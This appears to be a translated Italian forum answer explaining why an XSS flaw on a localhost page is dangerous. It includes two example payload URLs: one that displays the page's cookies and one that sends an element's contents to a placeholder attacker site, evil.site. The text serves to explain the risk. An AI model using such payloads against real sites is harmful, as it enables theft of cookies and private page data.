Sì, è un problema.
L'intero punto di un XSS è di inviare un utente a un URL creato che sfrutta il bug nel browser dell'utente. Se un utente malintenzionato sa che esiste un XSS, potrebbe creare un URL XSS e inviarlo a un utente di destinazione e quell'utente sarebbe in grado di accedere al dominio localhost.
Ad esempio, supponiamo che ci sia una pagina chiamata /viewitem
che accetta un parametro name
, che è vulnerabile a XSS:
http://localhost/viewitem?id=123&name=n<script>alert(document.cookie);</script>
Ti manda questo link. Lo fai clic e all'improvviso sei accolto da una casella di avviso contenente i cookie per la pagina. In realtà, pubblicherebbe il valore del cookie su un sito di terzi e ha rubato i tuoi biscotti! In questo caso non può effettivamente accedere al sito, quindi è un punto controverso.
Tuttavia, a seconda della configurazione del sito, potrebbe essere in grado di estrarre anche i dati dalla pagina viewitem
. Ad esempio:
http://localhost/viewitem?id=123&name=n<script>var ver=document.getElementById('version').innerHTML;document.location.href='http://evil.site/steal?ver='+encodeURIComponent(ver);</script>
Se hai un elemento con id version
, l'URL sopra riportato estrae il suo contenuto e lo invia a una pagina di terze parti, informando così l'aggressore della versione del tuo software. Questo trucco potrebbe essere esteso per rubare altre informazioni private nella pagina o utilizzare Ajax per recuperare altro contenuto dal dominio localhost
.